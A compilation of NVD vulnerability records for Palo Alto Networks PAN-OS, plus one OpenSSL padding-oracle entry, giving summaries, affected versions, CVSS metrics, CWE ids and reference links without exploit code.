An improper authorization vulnerability in PAN-OS that mistakenly uses the permissions of local linux users instead of the intended SAML permissions of the account when the username is shared for the purposes of SSO authentication. This can result in authentication bypass and unintended resource access for the user. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; PAN-OS 9.1 versions earlier than 9.1.1; All versions of PAN-OS 8.0.



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Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
An insecure configuration of the appweb daemon of Palo Alto Networks PAN-OS 8.1 allows a remote unauthenticated user to send a specifically crafted request to the device that causes the appweb service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts all versions of PAN-OS 8.0, and PAN-OS 8.1 versions earlier than 8.1.16.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2024-02-14 18:15
Modified
2024-12-17 18:09
Summary
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a malicious authenticated read-write administrator to store a JavaScript payload using the web interface on Panorama appliances. This enables the impersonation of another authenticated administrator.



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Vulnerability from fkie_nvd
Published
2018-08-16 18:29
Modified
2024-11-21 03:40
Summary
The PAN-OS Management Web Interface in Palo Alto Networks PAN-OS 8.1.2 and earlier may allow an authenticated user to shut down all management sessions, resulting in all logged in users to be redirected to the login page. PAN-OS 6.1, PAN-OS 7.1 and PAN-OS 8.0 are NOT affected.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2019-12-05 15:15
Modified
2024-11-21 04:32
Summary
An improper authentication check in Palo Alto Networks PAN-OS may allow an authenticated low privileged non-superuser custom role user to elevate privileges and become superuser. This issue affects PAN-OS 7.1 versions prior to 7.1.25; 8.0 versions prior to 8.0.20; 8.1 versions prior to 8.1.11; 9.0 versions prior to 9.0.5. PAN-OS version 7.0 and prior EOL versions have not been evaluated for this issue.



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      "lang": "en",
      "value": "An improper authentication check in Palo Alto Networks PAN-OS may allow an authenticated low privileged non-superuser custom role user to elevate privileges and become superuser. This issue affects PAN-OS 7.1 versions prior to 7.1.25; 8.0 versions prior to 8.0.20; 8.1 versions prior to 8.1.11; 9.0 versions prior to 9.0.5. PAN-OS version 7.0 and prior EOL versions have not been evaluated for this issue."
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      "lang": "es",
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      "tags": [
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}

Vulnerability from fkie_nvd
Published
2024-04-12 08:15
Modified
2024-11-29 16:47
Summary
A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
Impacted products
Vendor Product Version
paloaltonetworks pan-os 10.2.0
paloaltonetworks pan-os 10.2.0
paloaltonetworks pan-os 10.2.0
paloaltonetworks pan-os 10.2.1
paloaltonetworks pan-os 10.2.1
paloaltonetworks pan-os 10.2.2
paloaltonetworks pan-os 10.2.2
paloaltonetworks pan-os 10.2.2
paloaltonetworks pan-os 10.2.2
paloaltonetworks pan-os 10.2.3
paloaltonetworks pan-os 10.2.3
paloaltonetworks pan-os 10.2.3
paloaltonetworks pan-os 10.2.3
paloaltonetworks pan-os 10.2.3
paloaltonetworks pan-os 10.2.3
paloaltonetworks pan-os 10.2.4
paloaltonetworks pan-os 10.2.4
paloaltonetworks pan-os 10.2.4
paloaltonetworks pan-os 10.2.4
paloaltonetworks pan-os 10.2.4
paloaltonetworks pan-os 10.2.5
paloaltonetworks pan-os 10.2.5
paloaltonetworks pan-os 10.2.5
paloaltonetworks pan-os 10.2.6
paloaltonetworks pan-os 10.2.6
paloaltonetworks pan-os 10.2.7
paloaltonetworks pan-os 10.2.7
paloaltonetworks pan-os 10.2.7
paloaltonetworks pan-os 10.2.7
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 11.0.0
paloaltonetworks pan-os 11.0.0
paloaltonetworks pan-os 11.0.0
paloaltonetworks pan-os 11.0.1
paloaltonetworks pan-os 11.0.1
paloaltonetworks pan-os 11.0.1
paloaltonetworks pan-os 11.0.2
paloaltonetworks pan-os 11.0.2
paloaltonetworks pan-os 11.0.2
paloaltonetworks pan-os 11.0.2
paloaltonetworks pan-os 11.0.3
paloaltonetworks pan-os 11.0.3
paloaltonetworks pan-os 11.0.3
paloaltonetworks pan-os 11.0.3
paloaltonetworks pan-os 11.0.4
paloaltonetworks pan-os 11.1.0
paloaltonetworks pan-os 11.1.0
paloaltonetworks pan-os 11.1.0
paloaltonetworks pan-os 11.1.1
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2



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  ]
}

Vulnerability from fkie_nvd
Published
2017-06-01 16:29
Modified
2024-11-21 02:35
Summary
Palo Alto Networks Panorama VM Appliance with PAN-OS before 6.0.1 might allow remote attackers to execute arbitrary Python code via a crafted firmware image file.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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  "lastModified": "2024-11-21T02:35:10.527",
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Vulnerability from fkie_nvd
Published
2022-10-12 17:15
Modified
2024-11-21 06:37
Summary
An authentication bypass vulnerability in the Palo Alto Networks PAN-OS 8.1 web interface allows a network-based attacker with specific knowledge of the target firewall or Panorama appliance to impersonate an existing PAN-OS administrator and perform privileged actions.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2017-05-02 15:59
Modified
2024-11-21 03:31
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 7.1.9 allows remote authenticated users to obtain sensitive information via unspecified request parameters.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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  "lastModified": "2024-11-21T03:31:23.470",
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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:11
Summary
A NULL pointer dereference vulnerability in Palo Alto Networks PAN-OS allows an authenticated administrator to send a request that causes the rasmgr daemon to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue affects: PAN-OS 9.1 versions earlier than 9.1.2.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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      "url": "https://security.paloaltonetworks.com/CVE-2020-1995"
    }
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  "vulnStatus": "Modified",
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      "type": "Secondary"
    },
    {
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          "value": "CWE-476"
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      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
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  ]
}

Vulnerability from fkie_nvd
Published
2023-12-13 19:15
Modified
2024-11-21 08:44
Summary
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a malicious authenticated read-write administrator to store a JavaScript payload using the web interface. Then, when viewed by a properly authenticated administrator, the JavaScript payload executes and disguises all associated actions as performed by that unsuspecting authenticated administrator.



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Vulnerability from fkie_nvd
Published
2018-07-03 21:29
Modified
2024-11-21 04:15
Summary
The PAN-OS management web interface page in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.16 and earlier, PAN-OS 8.0.9 and earlier may allow an attacker to delete files in the system via specific request parameters.
Impacted products



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Vulnerability from fkie_nvd
Published
2017-12-11 17:29
Modified
2024-11-21 03:15
Severity ?
Summary
Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
An OS command injection vulnerability in the Palo Alto Networks PAN-OS management interface exists when performing dynamic updates. This vulnerability enables a man-in-the-middle attacker to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers that have Prisma Access 2.1 Preferred or Prisma Access 2.1 Innovation firewalls are impacted by this issue.



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      "lang": "es",
      "value": "Se presenta una vulnerabilidad de inyecci\u00f3n de comandos del sistema operativo en la interfaz de administraci\u00f3n de PAN-OS de Palo Alto Networks cuando se llevan a cabo actualizaciones din\u00e1micas. Esta vulnerabilidad permite a un atacante de tipo \"man-in-the-middle\" ejecutar comandos arbitrarios del sistema operativo para escalar privilegios. Este problema afecta a: PAN-OS versiones 8.1 anteriores a PAN-OS 8.1.20-h1; PAN-OS versiones 9.0 anteriores a PAN-OS 9.0.14-h3; PAN-OS versiones 9.1 anteriores a PAN-OS 9.1.11-h2; PAN-OS versiones 10.0 anteriores a PAN-OS 10.0.8; PAN-OS versiones 10.1 anteriores a PAN-OS 10.1.3. Los clientes de Prisma Access que presentan firewalls Prisma Access versi\u00f3n 2.1 Preferred o Prisma Access versi\u00f3n 2.1 Innovation est\u00e1n afectados por este problema"
    }
  ],
  "id": "CVE-2021-3059",
  "lastModified": "2024-11-21T06:20:52.403",
  "metrics": {
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        "acInsufInfo": false,
        "baseSeverity": "HIGH",
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          "accessVector": "NETWORK",
          "authentication": "NONE",
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        },
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        "impactScore": 5.9,
        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
      },
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        },
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      }
    ]
  },
  "published": "2021-11-10T17:15:10.030",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Vendor Advisory"
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    },
    {
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        "Vendor Advisory"
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    }
  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
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          "value": "CWE-78"
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      ],
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      "type": "Secondary"
    },
    {
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          "value": "CWE-78"
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      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2017-04-29 00:59
Modified
2024-11-21 03:33
Severity ?
Summary
The GlobalProtect external interface in Palo Alto Networks PAN-OS before 6.1.17, 7.x before 7.0.15, 7.1.x before 7.1.9, and 8.x before 8.0.2 provides different error messages for failed login attempts depending on whether the username exists, which allows remote attackers to enumerate account names and conduct brute-force attacks via a series of requests, aka PAN-SA-2017-0014 and PAN-72769.



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  "descriptions": [
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      "value": "The GlobalProtect external interface in Palo Alto Networks PAN-OS before 6.1.17, 7.x before 7.0.15, 7.1.x before 7.1.9, and 8.x before 8.0.2 provides different error messages for failed login attempts depending on whether the username exists, which allows remote attackers to enumerate account names and conduct brute-force attacks via a series of requests, aka PAN-SA-2017-0014 and PAN-72769."
    },
    {
      "lang": "es",
      "value": "La interfaz externa de GlobalProtect en PAN-OS de Palo Alto Networks en versiones anteriores a 6.1.17, en versiones 7.x, anteriores a 7.0.15, en versiones 7.1.x anteriores a 7.1.9, y versiones 8.x anteriores a 8.0.2 proporciona diferentes mensajes de error para los intentos fallidos de inicio de sesi\u00f3n dependiendo de si el nombre de usuario existe, lo que permite a los atacantes remotos enumerar nombres de cuentas y realizar ataques de fuerza bruta a trav\u00e9s de una serie de solicitudes. Esta vulnerabilidad tambi\u00e9n es conocida como PAN-SA-2017-0014 y PAN-72769."
    }
  ],
  "id": "CVE-2017-7945",
  "lastModified": "2024-11-21T03:33:01.437",
  "metrics": {
    "cvssMetricV2": [
      {
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        "baseSeverity": "MEDIUM",
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          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
          "version": "2.0"
        },
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        "impactScore": 2.9,
        "obtainAllPrivilege": false,
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          "confidentialityImpact": "HIGH",
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          "userInteraction": "NONE",
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          "version": "3.0"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
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        "type": "Primary"
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  "published": "2017-04-29T00:59:00.197",
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      "url": "https://security.paloaltonetworks.com/CVE-2017-7945"
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      "url": "https://security.paloaltonetworks.com/CVE-2017-7945"
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  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
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          "lang": "en",
          "value": "CWE-209"
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      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2017-12-11 17:29
Modified
2024-11-21 03:15
Summary
The configuration file import for applications, spyware and vulnerability objects functionality in the web interface in Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, and 7.1.x before 7.1.14 allows remote attackers to conduct server-side request forgery (SSRF) attacks and consequently obtain sensitive information via vectors related to parsing of external entities.
Impacted products



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  ],
  "cveTags": [],
  "descriptions": [
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    },
    {
      "lang": "es",
      "value": "La importaci\u00f3n de archivos de configuraci\u00f3n para las funcionalidades de objetos de aplicaciones, spyware y vulnerabilidades en la interfaz web en Palo Alto Networks PAN-OS en versiones anteriores a la 6.1.19; versiones 7.0.x anteriores a la 7.0.19 y versiones 7.1.x anteriores a la 7.1.14 permite que atacantes remotos lleven a cabo ataques de SSRF (Server-Side Request Forgery) y, consecuentemente, obtengan informaci\u00f3n sensible mediante vectores relacionados con el an\u00e1lisis sint\u00e1ctico de entidades externas."
    }
  ],
  "id": "CVE-2017-15943",
  "lastModified": "2024-11-21T03:15:30.253",
  "metrics": {
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    {
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      "tags": [
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        "VDB Entry"
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      "url": "http://www.securitytracker.com/id/1040005"
    },
    {
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      "url": "https://security.paloaltonetworks.com/CVE-2017-15943"
    },
    {
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      "tags": [
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        "VDB Entry"
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          "value": "CWE-918"
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      "type": "Primary"
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  ]
}

Vulnerability from fkie_nvd
Published
2017-09-07 13:29
Modified
2024-11-21 03:36
Severity ?
Summary
XML external entity (XXE) vulnerability in the GlobalProtect internal and external gateway interface in Palo Alto Networks PAN-OS before 6.1.18, 7.0.x before 7.0.17, 7.1.x before 7.1.12, and 8.0.x before 8.0.3 allows remote attackers to obtain sensitive information, cause a denial of service, or conduct server-side request forgery (SSRF) attacks via unspecified vectors.



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Vulnerability from fkie_nvd
Published
2020-11-12 00:15
Modified
2024-11-21 05:24
Summary
An information exposure through log file vulnerability exists where the password for the configured system proxy server for a PAN-OS appliance may be displayed in cleartext when using the CLI in Palo Alto Networks PAN-OS software. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.17; PAN-OS 9.0 versions earlier than PAN-OS 9.0.11; PAN-OS 9.1 versions earlier than PAN-OS 9.1.2.
Impacted products



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Vulnerability from fkie_nvd
Published
2023-07-12 17:15
Modified
2024-11-21 08:12
Summary
A vulnerability exists in Palo Alto Networks PAN-OS software that enables an authenticated administrator with the privilege to commit a specifically created configuration to read local files and resources from the system.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os 11.0.0



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Vulnerability from fkie_nvd
Published
2023-12-13 19:15
Modified
2024-11-21 08:44
Summary
An improper privilege management vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-only administrator to revoke active XML API keys from the firewall and disrupt XML API usage.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An external control of path and data vulnerability in the Palo Alto Networks PAN-OS Panorama XSLT processing logic that allows an unauthenticated user with network access to PAN-OS management interface to write attacker supplied file on the system and elevate privileges. This issue affects: All PAN-OS 7.1 Panorama and 8.0 Panorama versions; PAN-OS 8.1 versions earlier than 8.1.12 on Panorama; PAN-OS 9.0 versions earlier than 9.0.6 on Panorama.



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Vulnerability from fkie_nvd
Published
2024-02-14 18:15
Modified
2024-12-09 15:18
Summary
Web sessions in the management interface in Palo Alto Networks PAN-OS software do not expire in certain situations, making it susceptible to unauthorized access.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
A stack-based buffer overflow vulnerability in the management server component of PAN-OS that allows an authenticated user to potentially execute arbitrary code with root privileges. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14.
Impacted products



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    ]
  },
  "published": "2020-05-13T19:15:13.393",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
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      "url": "https://security.paloaltonetworks.com/CVE-2020-2006"
    },
    {
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      ],
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      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
A buffer overflow vulnerability in the PAN-OS management server allows authenticated users to crash system processes or potentially execute arbitrary code with root privileges. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.7; PAN-OS 9.1 versions earlier than 9.1.1; All versions of PAN-OS 8.0.



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Vulnerability from fkie_nvd
Published
2020-08-12 17:15
Modified
2024-11-21 05:24
Summary
When SSL/TLS Forward Proxy Decryption mode has been configured to decrypt the web transactions, the PAN-OS URL filtering feature inspects the HTTP Host and URL path headers for policy enforcement on the decrypted HTTPS web transactions but does not consider Server Name Indication (SNI) field within the TLS Client Hello handshake. This allows a compromised host in a protected network to evade any security policy that uses URL filtering on a firewall configured with SSL Decryption in the Forward Proxy mode. A malicious actor can then use this technique to evade detection of communication on the TLS handshake phase between a compromised host and a remote malicious server. This technique does not increase the risk of a host being compromised in the network. It does not impact the confidentiality or availability of a firewall. This is considered to have a low impact on the integrity of the firewall because the firewall fails to enforce a policy on certain traffic that should have been blocked. This issue does not impact the URL filtering policy enforcement on clear text or encrypted web transactions. This technique can be used only after a malicious actor has compromised a host in the protected network and the TLS/SSL Decryption feature is enabled for the traffic that the attacker controls. Palo Alto Networks is not aware of any malware that uses this technique to exfiltrate data. This issue is applicable to all current versions of PAN-OS. This issue does not impact Panorama or WF-500 appliances.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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  "id": "CVE-2020-2035",
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Vulnerability from fkie_nvd
Published
2021-08-11 17:15
Modified
2024-11-21 06:20
Summary
An OS command argument injection vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator to read any arbitrary file from the file system. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.19; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.10. PAN-OS 10.0 and later versions are not impacted.
Impacted products



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
A memory corruption vulnerability in Palo Alto Networks PAN-OS GlobalProtect Clientless VPN enables an authenticated attacker to execute arbitrary code with root user privileges during SAML authentication. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1. Prisma Access customers with Prisma Access 2.1 Preferred firewalls are impacted by this issue.
Impacted products



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    },
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      "lang": "es",
      "value": "Una vulnerabilidad de corrupci\u00f3n de memoria en Palo Alto Networks PAN-OS GlobalProtect Clientless VPN permite a un atacante autenticado ejecutar c\u00f3digo arbitrario con privilegios de usuario root durante la autenticaci\u00f3n SAML. Este problema afecta a: PAN-OS versiones 8.1 anteriores a PAN-OS 8.1.20; PAN-OS versiones 9.0 anteriores a PAN-OS 9.0.14; PAN-OS versiones 9.1 anteriores a PAN-OS 9.1.9; PAN-OS versiones 10.0 anteriores a PAN-OS 10.0.1. Los clientes de Prisma Access Prisma Access versi\u00f3n 2.1 con firewall Preferidos est\u00e1n afectados por este problema\n"
    }
  ],
  "id": "CVE-2021-3056",
  "lastModified": "2024-11-21T06:20:51.940",
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  "published": "2021-11-10T17:15:09.553",
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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:11
Summary
A predictable temporary file vulnerability in PAN-OS allows a local authenticated user with shell access to corrupt arbitrary system files affecting the integrity of the system. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.7.



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Vulnerability from fkie_nvd
Published
2018-07-03 21:29
Modified
2024-11-21 04:15
Summary
The PAN-OS web interface administration page in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.17 and earlier, PAN-OS 8.0.10 and earlier, and PAN-OS 8.1.1 and earlier may allow an attacker to inject arbitrary JavaScript or HTML.



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Vulnerability from fkie_nvd
Published
2021-08-11 17:15
Modified
2024-11-21 06:20
Summary
Certain invalid URL entries contained in an External Dynamic List (EDL) cause the Device Server daemon (devsrvr) to stop responding. This condition causes subsequent commits on the firewall to fail and prevents administrators from performing commits and configuration changes even though the firewall remains otherwise functional. If the firewall then restarts, it results in a denial-of-service (DoS) condition and the firewall stops processing traffic. This issue impacts: PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.5. PAN-OS 8.1 and PAN-OS 10.1 versions are not impacted.
Impacted products



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          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
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        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
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        "type": "Primary"
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    ]
  },
  "published": "2021-08-11T17:15:07.593",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Broken Link"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2020-3048"
    },
    {
      "source": "nvd@nist.gov",
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      "type": "Primary"
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}

Vulnerability from fkie_nvd
Published
2023-05-10 17:15
Modified
2024-11-21 07:36
Summary
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software on Panorama appliances enables an authenticated read-write administrator to store a JavaScript payload in the web interface that will execute in the context of another administrator’s browser when viewed.



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Vulnerability from fkie_nvd
Published
2022-02-10 18:15
Modified
2024-11-21 06:37
Summary
PAN-OS software provides options to exclude specific websites from URL category enforcement and those websites are blocked or allowed (depending on your rules) regardless of their associated URL category. This is done by creating a custom URL category list or by using an external dynamic list (EDL) in a URL Filtering profile. When the entries in these lists have a hostname pattern that does not end with a forward slash (/) or a hostname pattern that ends with an asterisk (*), any URL that starts with the specified pattern is considered a match. Entries with a caret (^) at the end of a hostname pattern match any top level domain. This may inadvertently allow or block more URLs than intended and allowing more URLs than intended represents a security risk. For example: example.com will match example.com.website.test example.com.* will match example.com.website.test example.com.^ will match example.com.test You should take special care when using such entries in policy rules that allow traffic. Where possible, use the exact list of hostname names ending with a forward slash (/) instead of using wildcards. PAN-OS 10.1 versions earlier than PAN-OS 10.1.3; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 9.1 versions earlier than PAN-OS 9.1.12; all PAN-OS 9.0 versions; PAN-OS 8.1 versions earlier than PAN-OS 8.1.21, and Prisma Access 2.2 and 2.1 versions do not allow customers to change this behavior without changing the URL category list or EDL.



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  "id": "CVE-2022-0011",
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Vulnerability from fkie_nvd
Published
2017-12-11 17:29
Modified
2024-11-21 03:15
Summary
Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.13, and 8.0.x before 8.0.6 allows remote attackers to cause a denial of service via vectors related to the management interface.



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  "id": "CVE-2017-15942",
  "lastModified": "2024-11-21T03:15:30.087",
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      "url": "http://www.securitytracker.com/id/1040004"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://security.paloaltonetworks.com/CVE-2017-15942"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
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          "value": "NVD-CWE-noinfo"
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      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts: PAN-OS 9.0 versions earlier than 9.0.10; PAN-OS 9.1 versions earlier than 9.1.4; PAN-OS 10.0 versions earlier than 10.0.1.
Impacted products



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          "value": "CWE-78"
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      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2022-05-11 17:15
Modified
2024-11-21 06:37
Summary
A vulnerability exists in Palo Alto Networks PAN-OS software that enables an authenticated network-based PAN-OS administrator to upload a specifically created configuration that disrupts system processes and potentially execute arbitrary code with root privileges when the configuration is committed on both hardware and virtual firewalls. This issue does not impact Panorama appliances or Prisma Access customers. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.23; PAN-OS 9.0 versions earlier than PAN-OS 9.0.16; PAN-OS 9.1 versions earlier than PAN-OS 9.1.13; PAN-OS 10.0 versions earlier than PAN-OS 10.0.10; PAN-OS 10.1 versions earlier than PAN-OS 10.1.5.



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    },
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      "value": "Se presenta una vulnerabilidad en el software PAN-OS de Palo Alto Networks que permite a un administrador autenticado de PAN-OS basado en la red cargar una configuraci\u00f3n creada espec\u00edficamente que interrumpe los procesos del sistema y potencialmente ejecuta c\u00f3digo arbitrario con privilegios de root cuando la configuraci\u00f3n es comprometida tanto en los firewalls de hardware como en los virtuales. Este problema no afecta a los dispositivos de Panorama ni a clientes de Prisma Access. Este problema afecta a: PAN-OS versiones 8.1 anteriores a PAN-OS 8.1.23; PAN-OS 9.0 versiones anteriores a PAN-OS 9.0.16; PAN-OS 9.1 versiones anteriores a PAN-OS 9.1.13; PAN-OS 10.0 versiones anteriores a PAN-OS 10.0.10; PAN-OS 10.1 versiones anteriores a PAN-OS 10.1.5"
    }
  ],
  "id": "CVE-2022-0024",
  "lastModified": "2024-11-21T06:37:50.553",
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  "vulnStatus": "Modified",
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          "value": "NVD-CWE-Other"
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      ],
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      "type": "Primary"
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}

Vulnerability from fkie_nvd
Published
2018-10-12 22:29
Modified
2024-11-21 03:40
Summary
GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML.
Impacted products



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  "id": "CVE-2018-10141",
  "lastModified": "2024-11-21T03:40:55.037",
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  "published": "2018-10-12T22:29:00.623",
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      "type": "Primary"
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  ]
}

Vulnerability from fkie_nvd
Published
2019-02-27 23:29
Modified
2024-11-21 04:36
Summary
If an application encounters a fatal protocol error and then calls SSL_shutdown() twice (once to send a close_notify, and once to receive one) then OpenSSL can respond differently to the calling application if a 0 byte record is received with invalid padding compared to if a 0 byte record is received with an invalid MAC. If the application then behaves differently based on that in a way that is detectable to the remote peer, then this amounts to a padding oracle that could be used to decrypt data. In order for this to be exploitable "non-stitched" ciphersuites must be in use. Stitched ciphersuites are optimised implementations of certain commonly used ciphersuites. Also the application must call SSL_shutdown() twice even if a protocol error has occurred (applications should not do this but some do anyway). Fixed in OpenSSL 1.0.2r (Affected 1.0.2-1.0.2q).
References
openssl-security@openssl.orghttp://lists.opensuse.org/opensuse-security-announce/2019-03/msg00041.htmlMailing List, Third Party Advisory
openssl-security@openssl.orghttp://lists.opensuse.org/opensuse-security-announce/2019-04/msg00019.htmlMailing List, Third Party Advisory
openssl-security@openssl.orghttp://lists.opensuse.org/opensuse-security-announce/2019-04/msg00046.htmlMailing List, Third Party Advisory
openssl-security@openssl.orghttp://lists.opensuse.org/opensuse-security-announce/2019-04/msg00047.htmlMailing List, Third Party Advisory
openssl-security@openssl.orghttp://lists.opensuse.org/opensuse-security-announce/2019-05/msg00049.htmlMailing List, Third Party Advisory
openssl-security@openssl.orghttp://lists.opensuse.org/opensuse-security-announce/2019-06/msg00080.htmlMailing List, Third Party Advisory
openssl-security@openssl.orghttp://www.securityfocus.com/bid/107174Third Party Advisory, VDB Entry
openssl-security@openssl.orghttps://access.redhat.com/errata/RHSA-2019:2304Third Party Advisory
openssl-security@openssl.orghttps://access.redhat.com/errata/RHSA-2019:2437Third Party Advisory
openssl-security@openssl.orghttps://access.redhat.com/errata/RHSA-2019:2439Third Party Advisory
openssl-security@openssl.orghttps://access.redhat.com/errata/RHSA-2019:2471Third Party Advisory
openssl-security@openssl.orghttps://access.redhat.com/errata/RHSA-2019:3929Third Party Advisory
openssl-security@openssl.orghttps://access.redhat.com/errata/RHSA-2019:3931Third Party Advisory
openssl-security@openssl.orghttps://git.openssl.org/gitweb/?p=openssl.git%3Ba=commitdiff%3Bh=e9bbefbf0f24c57645e7ad6a5a71ae649d18ac8e
openssl-security@openssl.orghttps://kc.mcafee.com/corporate/index?page=content&id=SB10282Third Party Advisory
openssl-security@openssl.orghttps://lists.debian.org/debian-lts-announce/2019/03/msg00003.htmlMailing List, Third Party Advisory
openssl-security@openssl.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EWC42UXL5GHTU5G77VKBF6JYUUNGSHOM/
openssl-security@openssl.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Y3IVFGSERAZLNJCK35TEM2R4726XIH3Z/
openssl-security@openssl.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZBEV5QGDRFUZDMNECFXUSN5FMYOZDE4V/
openssl-security@openssl.orghttps://security.gentoo.org/glsa/201903-10Third Party Advisory
openssl-security@openssl.orghttps://security.netapp.com/advisory/ntap-20190301-0001/Patch, Third Party Advisory
openssl-security@openssl.orghttps://security.netapp.com/advisory/ntap-20190301-0002/Broken Link, Third Party Advisory
openssl-security@openssl.orghttps://security.netapp.com/advisory/ntap-20190423-0002/Third Party Advisory
openssl-security@openssl.orghttps://support.f5.com/csp/article/K18549143Third Party Advisory
openssl-security@openssl.orghttps://support.f5.com/csp/article/K18549143?utm_source=f5support&amp%3Butm_medium=RSS
openssl-security@openssl.orghttps://usn.ubuntu.com/3899-1/Third Party Advisory
openssl-security@openssl.orghttps://usn.ubuntu.com/4376-2/Broken Link
openssl-security@openssl.orghttps://www.debian.org/security/2019/dsa-4400Third Party Advisory
